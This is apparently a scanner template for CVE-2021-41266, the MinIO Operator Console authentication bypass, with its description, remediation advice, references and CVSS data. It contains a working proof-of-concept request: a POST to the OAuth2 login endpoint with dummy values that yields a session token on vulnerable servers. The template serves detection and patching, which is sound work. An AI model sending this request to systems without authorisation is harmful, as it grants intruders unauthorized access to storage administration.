MinIO Operator Console Authentication Bypass

id: CVE-2021-41266

info:
  name: MinIO Operator Console Authentication Bypass
  author: alevsk
  severity: critical
  description: |
    MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
  impact: |
    An attacker can bypass authentication and gain unauthorized access to the MinIO Operator Console.
  remediation: 'Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token.'
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41266
    - https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36
    - https://github.com/minio/console/pull/1217
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/StarCrossPortal/scalpel
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-41266
    cwe-id: CWE-306
    epss-score: 0.46706
    epss-percentile: 0.9868
    cpe: cpe:2.3:a:min:minio_console:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: min
    product: minio_console
  tags: cve2021,cve,minio,min,vkev,vuln

http:
  - raw:
      - |
        POST /api/v1/login/oauth2/auth HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"code":"test","state":"test"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "sessionId"

      - type: word
        part: header
        words:
          - "token"

      - type: status
        status:
          - 201
          - 200
        condition: or
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